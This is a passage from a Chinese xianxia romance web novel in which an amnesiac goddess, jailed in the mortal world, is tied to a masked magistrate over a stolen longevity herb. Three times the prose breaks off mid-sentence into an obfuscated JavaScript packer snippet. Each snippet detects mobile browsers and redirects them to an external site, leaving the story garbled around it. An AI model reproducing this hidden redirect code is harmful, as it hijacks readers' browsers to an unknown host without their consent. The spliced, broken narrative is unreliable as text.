《失忆后在人间为仙友打工》 1. 长生草(1) “死了吗?” “好、好像快了,也就剩了一口气。” “那还不快去!” 夜里黑暗,有风吹过,成群的树叶沙沙作响。慕枝砚只觉浑身无力,勉强睁开眼睛,在林里却什么都看不清。 这里似乎刚下过一场大雨,她躺在地上,伸手抓住的尽是湿润的泥土。 被推搡的人嘴里低声咒骂几句,向躺着的慕枝砚一瘸一拐走来。 路途不远,只是那人跛脚,行走极为缓慢,也因此,慕枝砚能有喘息的机会。 慕枝砚想起身,她胡乱一摸,竟在身侧摸到个东西。 什…… 还不待疑问出声,那长相如灵草的东西就发出光亮,径直飞入她体内。 ** 好冷。 缩在一角,慕枝砚苏醒过来。手脚快要被冻僵了,她搓着双手,借着微弱的火光打量四周。 墙壁上爬满青苔,铁栏杆也都是锈迹,空气里弥漫着腐朽霉烂的味道。不难看出,这是地牢。 牢房里还关着两三个女人,她们各自占据一角,昏昏沉沉像是在睡觉。其中一个发觉她醒来,先是往身边瞄了一眼,才迈开步子往她这里走来。 那女人穿着破旧,衣衫缝缝补补颜色不一,倒是腰间系着个破碎的旧铃铛,行走时有细碎声响。 她右腿使不上力气,好不容易才走过来,靠着慕枝砚坐下,低声问:“你还活着?” 慕枝砚被突如其来的一句问得发愣。 下过雨的阴风从墙缝吹来,她不禁抱紧双膝,试探着问:“你是?” “我姓楼......你昨晚被抓进来的时候,都快没气了。” 没气了? 慕枝砚迷糊中回想起,昨晚她确实像是从高处摔下去一样,每一寸皮肉都如钢针扎过,浑身又痛又冷。所幸,醒过来后只是发冷,她身上并不痛了。 楼姑娘说话时很怕惊醒他人,神色慌张躲闪,时不时往对面瞧:“你、你最好当心些,她们都不太好相与的。” 她的举止实在奇怪,慕枝砚刚想问仔细些,却听不远处小门猛地推开,“吱呀”声颤颤巍巍,打断了她的思绪。 随着开门的吵闹声响,牢内的姑娘都慢慢爬起来,一颗颗脑袋瞬间凑到栏杆边,乌泱泱围成一片。 来者举着火把,身后还带了几个人,那些人手脚上都栓着铁链。一时间,斥责声、呻吟声和链条的拖拽声,在长廊上回荡不息。 “她们都怎么了?” 抓进来的都是姑娘家,而且很多还是长相清秀,看上去人畜无害的模样。慕枝砚感到疑惑,借着掌狱在交谈的空隙,问向楼姑娘。 楼姑娘衣衫虽破旧,脸庞也沾上灰尘,却不难看出其人易于接近。她贴近慕枝砚耳边,回应道:“有很多都是误抓的,如果有家人领回去,就无事。” “那如果没有人认领呢?” 不待楼姑娘答,掌狱敲着牢房的铁栏杆,大声喝道:“行了行了,都回去站好!” 刚领进来的一群人中,有个年纪较小的姑娘,哭着扑上去乞求:“我没有犯事啊......能不能放我出去,我真的什么都没有做......” 掌狱不耐烦地抬手,让手下将她打晕,拖进了地牢里。方才糟乱的人声瞬间消失不见,人群里只有几不可闻的抽泣声。 “若是没有人认领,就会当犯人处理了。”楼姑娘补上。 “这也太过分了。”慕枝砚愤愤不平,“也就是说他们根本没有理由抓人。” “这样的事每天都会发生。被抓的都是女子,说人认领,其实就是交钱。”楼姑娘音量很低,“要是碰上家境贫寒的,也不知道会被送到哪里。” 同个牢房里的几人并不理会外面新人的哭闹,楼姑娘所说的语气也极为平淡,看起来习以为常。 人间竟还有这样的地方! 慕枝砚面上不再多说,心里却是要气炸了。 天道什么时候这样行事了?? 明明几个时辰前,她还是天庭大名鼎鼎的缘灵神,怎么睁眼闭眼的功夫就掉落在树林,紧接着被关在这个叫地牢的鬼地方了?! 那会儿,刚从人间回到天庭的慕枝砚,正在前往酒酿坊的路上。她沿路还吐槽般地嘟囔,说天庭这点就不好,楼阁亭台的名字和凡间相似,没沾上半点仙气。 怪不得常有仙师神君在外留宿。 酒酿坊的小童子看见她,嘴一瞥,都是老熟客了,恨不得把她所有出丑的事都抖出来。 “上次仙使大人的生辰宴,您贪杯醉了,都散席了还拉着神君不让他走,气得神君闭门不出,一连十日都躲着您。” 慕枝砚和他随口胡扯:“什么散席,你又没看见,那是神君说要我多陪他一会儿,要不是他求我,我还不作陪呢。” “那闭门躲着呢?” “这更乱讲,分明是神君没喝过我,不好意思出来见各仙友。” 小童子被噎得说不出话。 天庭众仙都知道,这位缘灵神一喜欢玩闹,和谁都交好;二喜欢饮酒,即使酒量并不怎么样。至于第三,就是能把黑的说成白的,偏偏她还长了一双好眼睛,望向她的时候,再恼怒的人都会消气了。 小童子正巧对上慕枝砚的眼睛,明明亮亮的,像能把人都看透了。她唇边还微微扬着,带着笑,头上的首饰叮叮当乱响,跟要飞起来的花蝴蝶似的,得意极了。 然后小童子就认命去取酒了。 慕枝砚就站在坊外打哈欠,正等着他送出梅子酒,就这么闭个眼睛,下一瞬就坠落在树林里了。 慕枝砚:“……” 什么时候天庭以这种方式派遣仙师了? 她莫名其妙掉到这里,只好先找人问清状况。好在来了一个楼姑娘,听了半天,她才知晓人间竟还有如此龌龊之事。 如此看来,天道派她来,多半是为了解决地牢一案。这样想着,慕枝砚藏在袖间的手指微动。 风起。 牢房内格外宁静,长廊上除了脚步声,半点风声都听不见。 牵丝。 唤出口诀后,本该在指尖浮现的红丝,此刻竟毫无响应。 不妙! 慕枝砚蹙眉,她的法力居然不见了。 “上面有令,找人。”身后的手下弯腰递上一幅卷轴,掌狱接过,“都走出来排好了,一个一个查。” 这里的姑娘抓进来关着后,连名字都不会被记住。掌狱带人开了锁,展开卷轴,按着卷轴上的画像上认。 慕枝砚扶着楼姑娘站在角落。 她努力在脑海里回忆,半晌,惊觉不对——有关亲人的记忆,这具身体竟是一点痕迹都没有留下,甚至是空白一片。 天道派遣通常有两种,一种是寄托在人身上,承载此人的记忆行事;另一种是以魂灵,也就是凡人肉眼看不见的形式行事。 很明显,这是第一种,可慕枝砚一不知她寄托的名字,二不知其家世。 而且,往日天道派遣都是提前知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16414523|184692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会,法力也施展不开。 何时这样反常? 眼见排查的队伍缩短,马上到近前。楼姑娘不知去向,于是慕枝砚不动声色地往后挪动,想站到队伍尽头拖延时间。 “他们在查什么?” 身侧有人低语。 “好像,是说有人偷了一种草药。” 她挪到对话人身边,问:“什么草药?” “长生草啊,就是那个极难寻找,吃了包治百病的长生草。听说是掌判官所需的。” “哦对,我刚才偷瞄了一眼,那个偷东西的,好像姓慕。” 慕枝砚在这儿听得认真,频频点头,然后停顿,摇头。 等会,姓什么? 捕捉到关键字眼,慕枝砚忽然想起,苏醒前确实有东西飞入她身体内。 坏了!该不会那东西就是长生草吧! ...... 慕枝砚哭笑不得,且先不说自己没有动手去偷,她如今身处地牢,又丢失了法力,就算说了又有谁会相信她的话? 她方才苦苦算计那么久,却没料到,这具身体的主人和她同名同姓。 大难临头。地牢里这么一堆人,她讲道理讲不过,自然也打不过。 环视一圈,慕枝砚打定主意。 地牢仅有一个出入口,就在不远处,小门此时是开着的,外面光线昏暗,是夜晚。 要不,跑吧。 她提起裙摆做准备,生怕逃跑时被绊倒。慕枝砚眼睛紧紧盯着那堆看管人,缓慢蹭到墙角。掐算着时间,她正要奔向入口,后背竟被用力一推—— “就是她!” “她是慕枝砚!” “她偷了长生草!” 一时间,尖叫怒喝似点燃的火药,在这座地牢炸响。慕枝砚被推得站不稳,她在惊慌失措中抬头,恰好对上掌狱的目光。 掌狱展开画像对照,指向她的逃窜的背影:“抓住她!就是她偷了掌判官的长生草!” 慕枝砚立刻窜出地牢小门,头也不回地往外飞奔,恨不得长了八条腿。 手下紧随其后,一涌而出。 地牢外面就是昨晚的那片树林,大雨后林间散发着腐叶的味道。 慕枝砚慌不择路,一脚踩过积水,水花四处飞溅。斜长的枝条抽打在手臂上,但她无暇顾及,只能用力拨开,跌跌撞撞向前方奔去。 或许是长生草的缘故,精力支撑着她跑了很久,但最终,她还是累得气喘吁吁,停下了脚步。 慕枝砚躲在树后,水珠从树叶间滚落,砸在她的额头,断断续续滑到脸颊。她的胸腔剧烈起伏,却不敢发出一丝声响。 不就是长生草吗!赔那个什么判官不就是了! 慕枝砚咬牙切齿,从没见过这么落魄的,这要是传回天庭,她都无地自容了。 她屏住呼吸,双手扒在树干上,想观察身后动向。 “嗖“地一下,一支箭扎进身侧树木,吓得她蜷缩回树后。 真是要命。这箭的力度很重,可见是奔着她的命来的。 身后是密密麻麻的箭雨,她被迫继续向前,又听一声巨响! 一把斧子从远处飞来,速度异常快,以至于到近前才能发觉,它陷入得比箭都要深,砍向的那棵树上起了层层裂痕。树的表皮背劈出红色若火的纹路,足以见扔斧子的人力度非常大,连地面都震上三震。 慕枝砚借着月光,遥望到那人抬手制止放箭。 他腰间令牌是一个“判”字。 2. 长生草(2) 林间传来乌鸦的啼叫,尖锐刺耳。 穿过这片林子,估计就能看见行人,那就可以得救了。 慕枝砚是这么想的,所以她拼了命地跑,跑得太久,吸入的空气冰凉刺骨,喉间泛着血腥味。直到那把斧子毫不客气地劈来,她甚至还以为救援兵来了。 然后她听旁人叫他,掌判官。 什么官? 那人就站在她的对立面,墨色束身劲装,配着剑,下坠的银色腰牌闪闪发光,牌上的“判”字夺目。 掌判官。 要她命的官。 ...... 慕枝砚在心中深深叹了口气。 她发觉那人脸上的面具倒是出奇。是同样的银色,不过并没有那么亮,只是遮住了他的上半张脸,或者说,是一双眼睛。 面具纹路如层云,左右两侧落下两道长流苏,从耳后一路顺到乌发里。而他露出的下半张脸,在月色下显得冷峻若冰。 他发问,语气淡漠:“慕、枝、砚?” 听得她心头一颤。一字一顿,虽然不带温度,竟意外的好听。 当然,如果他能忘了长生草的事就更好了。 “你听我解释!” 身后放箭的那群人紧紧跟上来,慕枝砚想上前,被拦在掌判官外。 “那草真不是我偷的!你要是急着要我帮你再找......” “你......” 掌判官身侧有人要开口,被他阻止。 他细细打量着慕枝砚。即使他戴着面具,慕枝砚却能有感觉,那眼神应该和他腰间配剑一样,寒刃出鞘般,带着几分凌厉。 周遭鸦雀无声,只听他说:“找?” “对啊,长生草而已......”慕枝砚脱口而出。 话出口,她忽然想到这里是人间,不是天庭,长生草对于凡人来说是有价无市的宝贝。如果她法力还在,没准确实不是难事,但问题是,她现在什么筹码都没有。 那她这样说话,不是作死么…… 果然,那人轻蔑一笑:“呵。” 完了。 她怎么忘了这个疯子刚才还拿斧子砍她呢! 然后,她就看见那个疯子拔出了配剑。这可真是寒刃出鞘了,剑身泛着淡淡光泽,剑意撕裂空气般,带着汹涌的杀意袭来—— “等等!” “报——” 未完全拔出的剑收回。 掌判官向后方望去,林外一人匆匆忙忙跑来,险些被沿途石子绊倒。他到了近前,连话都组织不全,吞吞吐吐道:“大人,鬼市出了事……” 他凑近对掌判官说了些什么,只见掌判官神色一变,命令道:“带她走。” 随即迅速转身,带着一行人离去。 ** 鬼市,做交易的地方。 自千百年起,鬼市入口就只在每月中旬开启,凡人、仙人,甚至是妖魔都会在此地出现。这是一个神秘莫测的集市,不归人间仙界魔界掌管,因此为维护其秩序,鬼市特设定“掌判官”。 不过……记忆里,鬼市早已消失了很多年。 慕枝砚是被押去的,她走路慢,也好在身边人没有催。看样子,鬼市确是出了很重大的事,以至于追着索命的人都不管她了。 令人意想不到的是,走到林子尽头,竟是一片刺眼的白光,慕枝砚下意识闭上眼睛,再睁眼,鬼市就浮现在眼前。 这是她第一次目睹鬼市全貌。 青石路面,幽幽孤灯,偶有邪风吹过,吹动摊位上的布幡。每家摊位上都有镇压的符纸,店主通常黑袍遮身,实在分不清是人是鬼。 更诡异的是,偌大的集市,静得出奇。交易、往来,都看眼缘,买卖时几乎没有言语上的交流,若是看中哪样物品,缘分不够,最终也只能空手而归。 掌判官带人步入鬼市,稍后便有一队巡差前来,低语道:“大人,是阴阳兽。” 阴阳兽,鬼市镇宝。 这都是传闻里才出现的东西,慕枝砚忽然明白过来,这应当是几百年前的人间,是鬼市和阴阳兽还存在的时候。 她从未见过阴阳兽,曾经和天庭众仙聚会时,听人提及过,说阴阳兽是镇守鬼市,并保证其正常运转的灵兽,这也是鬼市不归三界管的原因。 传闻还说,它形状和牛相似,头顶有一只角,身形庞大,会喷火。 火! 慕枝砚听到耳边燃烧的“噼啪”声。那不是巡差手里举着的火把,而是熊熊烈火! 呼啸的风带动赤红色烈焰从远方卷来,火舌若蛇般舔舐布匹杂货,随后攀附上小摊边的木梁,方才还安静的鬼市此刻哭闹不止,人群杂乱无章东窜西逃。 “这是……阴阳兽?” “它怎么会跑出来啊!” 浓烟滚滚,翻滚着、咆哮着上升。在这片遮挡视线的烟雾后,传来一声轰鸣,阴阳兽缓慢挪动而来。 阴阳兽浑身毛发青灰,长长的角,尖锐而弯曲,下方是红色的眼睛。唾液顺着獠牙淌下,它露出牙齿,凶狠地呲向来者。 “退后!”掌判官拔剑,“带大家撤离,护卫队随我摆阵!” 阴阳兽四肢着地,利爪刮过,掀起大块泥土碎石。它发出阵阵低吼,震得方才烧起的枯木落下。 护卫队内飞出几个人,他们按队形排开,肉眼可见地面上渐渐浮起金色阵纹。 对比在此刻具象化,人形渺小得可怜。 所有人都不知晓阴阳兽为何突然变性,他们只能听从命令,形成法阵。站在最前方,也是离阴阳兽最近的掌判官,他手中持剑,剑气嗡鸣。 似乎是被阴阳兽的低吼影响,那把本应该指向阴阳兽的剑,以众人未反应过来的速度调转了方向,赫然对着反面而去—— 慕枝砚。 那道鸣叫如同万千冤魂的尖啸,在冥冥之中唤醒了这把沉睡的剑,使之扭转了方向,对着身后的慕枝砚而去。 然而慕枝砚只是一个看戏的,她还想着自己居然回溯到了千百年前的奇遇,脑子停留在曾听说阴阳兽性格极好的那刻。 回神,她看见掌判官从火光里穿出,直直向她奔来。 慕枝砚抬脚就跑,边跑边骂:“鬼市都火烧眉毛了你还惦记自己那点破草!” 再一次体验被狗追的感觉,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16414524|184692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始庆幸,她很感谢那位养了狗的仙使,若是能活着回到天庭,她定要抱着酒和仙使喝上三天三夜。 “我答应帮你找就不会食言的啊!” “还追!郎君你疯了吗!” 慕枝砚骤然噤声。 不是因为追赶她的人停下,而是因为,剑刺进了她的身体。 出乎意料的是,长剑彻彻底底穿进,又完完全全穿出,慕枝砚身上竟连半点窟窿血迹都没有,更别提难忍的痛苦。什么感觉都没有,就像是和长剑朋友做了个游戏,那把剑从她身前穿出后重新飞回掌判官的剑鞘里。 围观的众人:“?” 这莫非,也是长生草的功效? 慕枝砚着实被吓到,她屏住呼吸,直到长剑归位,才哆嗦着答:“大人,您这剑真有意思。” ...... 另一头,阴阳兽咆哮不止。 撑住大阵的几人颤颤巍巍,地面上的阵纹光色很淡,几乎快要消失。 “大人,不可!” 没有听从劝阻,掌判官取下令牌。他毅然将令牌丢入法阵中,口中唤诀。 阵纹上升,与令牌一同化作撕裂天地的光焰,如流星坠地,升至最高处后直刺而下,奔着阴阳兽去! “诛邪,万念!” 势如破竹。 阴阳兽发出最后一声,身边产生浓厚白烟,它的身躯在白烟后剧烈抽搐,随后变作小小的青铜雕像,掉落在地上。 方才席卷的火光消失不见,鬼市一切恢复正常,只是遍地散落的杂物,宣告着这里发生过什么。 “大人......” 护卫队从四面八方跑来。他们知道这意味着什么。 自鬼市建立以来,阴阳兽与掌判官并存,只是几乎没有人知道,掌判官的令牌可以抵挡阴阳兽,这是最后一道防线。当然,交出令牌的那刻,掌判官就不再拥有这个身份,他与凡人无异,没有法力加持,无神明庇佑,从此生老病死世事无常。 被唤的那个人神色未变,低头摸了摸长剑,冷淡道:“以后叫我名字就好。” 这应该是一个悲伤的场合。 慕枝砚从未想过,有朝一日,她居然能亲眼看见鬼市和阴阳兽,以及阴阳兽的封印过程。彼时她还在天庭,随手翻开从人间买来的话本,听身边小童子念:“鬼市镇宝,一角九头,食以人间灵气,重昭九年封印于南山。南山晚,东三百里立台,常于夜间闻啼哭声不止。” 话本子里多是杜撰的,比如阴阳兽根本没有九个头。话本里也没有提到过,最后封印它的人,是凭借一把剑一枚令牌,就敢挺身抵挡在众人面前的。 人间供奉神仙,到最后守护人间的,还是凡人。 沈厌回头。 不知从何时起,他眼睛变得不大好,常常戴着面具外出。他去过庙里算卦,卦象隐晦告知他这一生不幸的结局。他的记忆也开始失常,因而,他的话变得越来越少。 此刻,烟云散去,站在大雾后,他望向守护的人间,说不清自己是否如释重负,只是觉得似乎丢失了什么。 他在一张张熟悉的面庞中仔细辨认,看清了慕枝砚。 3. 长生草(3) 火灭了。 老旧的横梁断裂,眼前的一切都烧得灰黑。鬼市人群疏散开,护卫队向刚才燃烧起来的地方泼水,水落到低洼处形成泥浆,墙壁和地面尽是泥浆冲刷后留下的痕迹。 慕枝砚说不出话来。 她的思绪早飞至千百年后。等回到天庭,她定要嘱咐小童子在话本子上改字,把这事迹一五一十地记载下去。 “大人。” 护卫队中走出一人,刚说出口,意识到称呼不对,只得抱拳等那人回应。 沈厌慢慢移开眼睛,视线落在叫他的人身上,不冷不淡地说:“什么事。” “掌狱那边来报......”他声音越来越低,“地牢的人都不见了。” “就、就是在刚刚发生的,说是有阵风把地牢的锁打开了,然后......” 这事实在离奇,就连亲眼目睹的人都不相信。一阵风,大得能把人卷到几里开外,他们追人的时候眼见树林里的树叶都落了,连同树皮都呈现枯败的模样。 沈厌打断他,依旧不感兴趣道:“我还管地牢的事?” “不不......” “人丢了就去找,在这里与我废话什么。”沈厌侧身,忽向那里扬了下脸,“她除外。” 众人看去。 慕枝砚这会儿狼狈极了,才在箭雨里躲过一劫,紧接着就被抓来鬼市,又是喷火又是长剑,人间这一晚上的经历,比她那么多年在天庭看的书都丰富。 她的衣裳在逃跑时挂到了树枝,踩过的水溅到裙摆。长剑未在她身上留下伤痕,但划破了衣袖,总之,浑身上下没一个好地方。 慕枝砚从凌乱的发丝中抬头。 留在鬼市的这些人都在看她,包括沈厌。他漫不经心地别过头,眼神透过面具落到她身上,在夜色中说不清道不明。 “对对对!” 慕枝砚明白过来,啄米般点头:“我偷的,让我和他回去吧!” “......” 下属不明所以:“姑娘不是刚才还否认么,跑得比谁都快,都要和大人打起来了。” “你哪只眼睛看见我和你家大人打起来了?”慕枝砚瞪他,“知错就改善莫大焉,我跟他回去,也好帮忙找长生草啊。” 她又不傻。 地牢里的人全跑了,就剩她一个,除非亲人交钱赎她,否则她还是要被关回去的。先不说那个记忆里莫须有的亲戚,就说今晚闹这么大,保不齐他们要在地牢杀人灭口呢。 眼下有人要带她走,别说吃掉长生草了,就是祝她长命百岁也行。 沈厌问:“你还有要说的......” “没有没有!”慕枝砚蹿到他身边,“我们走吧,我明日一早就去找。” 发间流苏一动,沈厌发觉,自己离她很近。 “哦对,如果你一定要问的话......” 考虑到这人或许不喜欢有人亲近,慕枝砚慢慢向外走了两步,保持了距离,才问:“你你说话管用吗?” “嗯?”没听懂。 但他音量轻,慕枝砚以为这是管用的意思。她抱着刚才掉落地面的阴阳兽雕像,眼睛一眨一眨,说:“那你能不能找一件披风给我,我有点冷。” 沈厌:“......” ** 沈厌的家离得不远。 也是掌判官职务的原因,家距鬼市四五里,而且出来前慕枝砚才听下属说,他平时都是不回来住的。 推开大门,正中央是一棵老树,算是这屋子里生长得最茂盛的生物了。东西厢房,虽然老旧,但收拾得很干净。整个院子较大,后方单独开出一片菜园,只是落败久了,都是枯相。 慕枝砚跟着他穿过小道,到了房间门前。她一路都不敢多话,生怕这人一个反悔,又抽出剑把她斩了。 尽管刚才已经斩过一次了。 她看着沈厌停下,问她:“会做饭吗?” “会呀。” 慕枝砚高兴坏了,这不正是她擅长的么。她三步两步跳到小厨房里,开锅掀盖,活像回了自己家,口中嚷嚷着:“家里这点菜,做道汤还是成的,只是我还要火折子。” 她麻雀似的叽叽喳喳,回头了才看见沈厌抱肩靠在门边,顿时捂上嘴,还不忘提醒:“火折子。” “你很冷?”沈厌没动。 裹紧身上墨色披风,慕枝砚不好意思地笑道:“你先借我,我没有别的。” “嗯。” ...... 慕枝砚对着小竹筒吹气,竹筒里生出小火苗。 最后下锅做的不太像汤。慕枝砚放了煮得软烂的豆子,切碎的青菜,看着倒是清清淡淡的。 他这么一个冷冰冰的人,应该不会喜欢味道重的吧。 于是慕枝砚在自己那碗里多加了一勺盐。 “你叫什么名字啊......” 慕枝砚往灶膛底部添柴,呼哧呼哧地扇火,对着站在院里老树下的人喊道。 沈厌的面具在月色下来看,实在过于明显。那把剑还未卸下,仍是抱肩的姿势,闻言,他向小厨房走来。 “我说你叫——” “我能听见。” 沈厌靠着门,回答:“沈厌。” 慕枝砚蹲在灶台前,累了,自己取了个小凳子坐着扇。 “砚?我叫慕枝砚,羡慕的慕,树枝的枝,笔墨纸砚。你是哪个砚?” “我只是觉得很有缘,我们名字里都有相同的字。” “虽然我方才那样说,可长生草真不是我偷的,你要相信我。” 锅里汤水煮得沸腾。 半天没有声音,慕枝砚以为人走了。她看了,才知道沈厌还在,默不作声地盯着她。 “长生草是你好不容易找来的吧。”她手上蒲扇轻摇,“你用来做什么呢?我看你武功高强,厉害得很,完全不是弱不禁风的样子。” “沈厌。” “啊?” 慕枝砚眨眼,听他说:“我叫沈厌。厌恶的厌。至于长生草,是我眼睛不太好。” 良久的沉默。 “不许这么说! 慕枝砚从凳子上蹦起来,“咚”地砸到脚。 沈厌走回树下了,她忍着疼跳到门边,半个身子靠着门框,信誓旦旦道:“我一定会帮你找到长生草的!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16414525|184692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈厌深深望向她。 汤的味道从小厨房悠悠飘出来,慕枝砚站在烟火前,听他说:“嗯。” ** 有一说一,鬼市内部要比集市富贵多了。 朱漆的六根镶金柱支撑,地上摆着的屏风上绣春夏秋冬花开花谢,整间大殿内用明珠照亮,丝毫看不出半点千百年后的落魄。 然而,这还是开始。 慕枝砚规规矩矩地做个哑巴站在椅子边,等看见有人抱着两三个钱袋子过来的时候,眼睛瞬间瞪大了,实在忍不住,凑到沈厌身边问:“你们这儿这么大方?” 那人递过来前抽系紧,里头装着的那些金的银的,比明珠都要耀眼。沈厌根本没理会她,瞥她一眼,坐位子上连钱袋都没接,还是慕枝砚伸手抱过来的。 好沉,好幸福。 一个在天庭养老的神仙,平时喝酒都要找仙友借钱。慕枝砚这时候觉得跟着沈厌太对了,简直是她做过最正确的选择,顿时就把斧子长剑的都抛之脑后。 她在屏风后面鬼鬼祟祟想偷偷数钱,沈厌在前面与人对峙。 “地牢走失的事,掌判官当真不知?” “我早不是掌判官,与凡人无异。” 沈厌轻敲敲桌面,叫那个抱钱袋的贪财鬼过来,然后起身,抽走了她怀里的一袋,丢过去。 “你做什么!”慕枝砚嗔怒,“赚钱很不容易的!” 她当时答应给天庭神君出苦力,半日,才得一壶酒。这人家徒四壁,衣裳都不买有鲜艳颜色的,害得她连盐都不敢多放,昨晚上喝了碗没滋没味的汤。 沈厌转过来对着她,身量的光影揽过她全身,淡淡道:“赎金。” “赎什么......”慕枝砚后知后觉,“哦。” “我还挺值钱。” ...... 分钱的那位见他们要走出大殿,抬腿从屏风后绕出来,提醒道:“沈厌,你要的长生草在楚云间。鬼市和楚云间联系颇密,你这些年在这里,可攒下不少的恩怨。” 听得出这是半含威胁的话,本着赎金的情义,慕枝砚不客气地怼回去:“怎么,没了他你们鬼市就不能运转了?还是说,这些年都没找到垫背的呢?” “你!” 慕枝砚今早刚换的新衣裳,出门前还摘了朵花簪在发间,本来心情就很好,这会儿知道对面人争辩不过她,更得意了。她微微偏头,带着挑衅意味对他一笑。 笑意未完,她被沈厌拽着离开。 出了门,慕枝砚的担忧才涌上心头。 她手上掂量着钱袋重量,小声说:“其实他说的也不无道理。你仇家是不是很多,万一遇上人追杀怎么办。要不,你教我一点护身的?” 感受到沈厌看过来,慕枝砚自圆其说:“就……我们要去楚云间嘛,我听说不太平,想向你学学。” 当然,最重要的,是她现在也没有法力。长生草帮她挡了沈厌的一剑,却难保日后顺遂。 等了许久,慕枝砚以为他在深思熟虑,直到他开口还期许万分。 “不必。” “若有争执,我砍了便是。” 慕枝砚:“?” 4. 通缉令(1) 楚云间原名楚阳城,城外依山傍水,自给自足,百姓安居乐业,一派繁华景象。 慕枝砚是知道这个地方的。在天庭待久了,她有时会在夜里偷偷溜出来,随意挑谁家屋檐,往上一坐,看人间。 但是她没来过几百年前的楚云间。 重昭三年,楚阳城更名楚云间。 阴阳兽是重昭九年封印的,也就是说,这会儿这座城已经叫楚云间了。 马车并不平稳,晚间行走慢,还算好些。慕枝砚靠着侧壁昏昏沉沉,或许是遇上了凹凸的路面,马车忽然一震。侧壁上感受最重,慕枝砚被撞得头痛,用手垫着头,揉了揉。 她这才睁眼睛,看见车内茶烟袅袅。 要说有钱真是件极好的事情,比如沈厌这辆特别大的马车。秋初时节,晚间有阴风吹过缝隙,他早叫人铺上毛毡抵御风寒,车内又点上了烛火,还煮了茶,此刻水声滚滚。 沈厌坐她对侧,脸上依旧戴着面具。茶壶嘴钻出丝丝缕缕茶香,他手指轻轻提起,那茶水缓缓流出,汤上泛着淡淡的黄绿,盏内冒出热气。 外面正行至山道,过分寂静。无人说话,只有倒茶声和马蹄声传入耳朵。盯着弥漫的雾气,慕枝砚不禁缩缩身子,小声问:“还有很远么?” 沈厌微微垂眸,将茶盏放回原位,在瓷面上轻敲。他的手和色白如玉的茶具比起来丝毫不逊色,茶具上的竹梅纹样倒像是衬托他的。 烛灯透过灯笼纸,摇晃时隐隐约约,慕枝砚等到他重新点过一次,才听到他问:“醒了?” 她自己也不知迷糊着睡了多久,只想起刚才闭眼睛前天还是亮的。慕枝砚裹紧了身上盖的毯子,小声说:“也怪不得我,折腾了大半日呢。” 沈厌没理会她,另倒了一盏放在手边。 慕枝砚就这么靠着车壁,她小心地掀开一角去看,车外行过万重山。冷飕飕的一阵风吹进来,她被吹得一哆嗦,马上放下车帘,回首就对上沈厌。 她恍惚间觉得,沈厌的眼睛应当是很好看的,即使戴上了面具,看人时那神色也是与旁人不同的。或许是如鸦羽一般的眼睫,眨一眨,能落下一片阴影;或许是如浓墨一般的眼睛,像寒潭里的一汪清水。 沈厌很快收回视线。 可惜,他终日戴着,她看不清楚,只能在心里猜测。 慕枝砚觉得身上又冷起来,刚才那点热气都被风吹走了。她搓着手,发现身边不知什么时候多了个汤婆子,顺手抱过来。 看向沈厌的时候,她是有一点愧疚的。这么好看的眼睛却受了伤,如果有长生草就好了。虽然并不是她主动抢走的,但她多多少少是受了长生草的好处。 她就想着提一句帮他的事。慕枝砚捂着汤婆子,手上发烫,往前动了动,正看见沈厌脸色有些阴沉。 说实话,沈厌高兴不高兴,生气不生气,似乎变化都不太大,可也许是车内距离近,慕枝砚今日真真切切感觉到了,他此刻是不高兴的。 没说错什么吧,不过就是睡了一会儿。 又是哪里惹到他了。 心里嘟囔几句,慕枝砚又缩回去,靠着车壁睡了。 ** 马车兜兜转转走了几日,终于到了楚云间。偌大的城,行人神色匆匆,大多数都是出城的。门外是守卫,看了沈厌的名牌就放了行。 那时候慕枝砚还没睡醒,刚把头靠在车壁昏着,就又是一阵颠簸。她喃喃着自己是和马车过不去了,慢悠悠起来坐好,等进城找家客栈才好休息。 楚云间城墙历尽沧桑,却还□□。高墙笼罩,远处望去尽是山峰,也难怪那晚挑帘,看见的尽是连绵不绝的山岳。 马车辗转,茶坊酒楼都映入眼帘了。道路边有贩卖小玩意的,讨价还价的叫卖声、进出城门的推搡、湖边还绿的草木,种种都混合在一起,果真是欣欣向荣,繁华不绝。 这会儿白日里,车上热起来了。沈厌先一步走了出去,慕枝砚把毯子丢了想跟着下去,刚往外一探头—— 就在湖边不远处,贴着一张,纸边都泛黄的通缉令。左侧写衙门告令,右侧示有奖悬赏,正中央是画像,下方写着名字。 那名字么,她可再熟悉不过了。 名字。 名字? …… 你说谁的名字?? 足愣了半晌,慕枝砚才缓过神,叫着:“沈厌......沈厌!” 沈厌掉头,走回到马车边。他站在附近,等着慕枝砚下文,却见慕枝砚着急地招手:“你过来!我有话同你讲。” 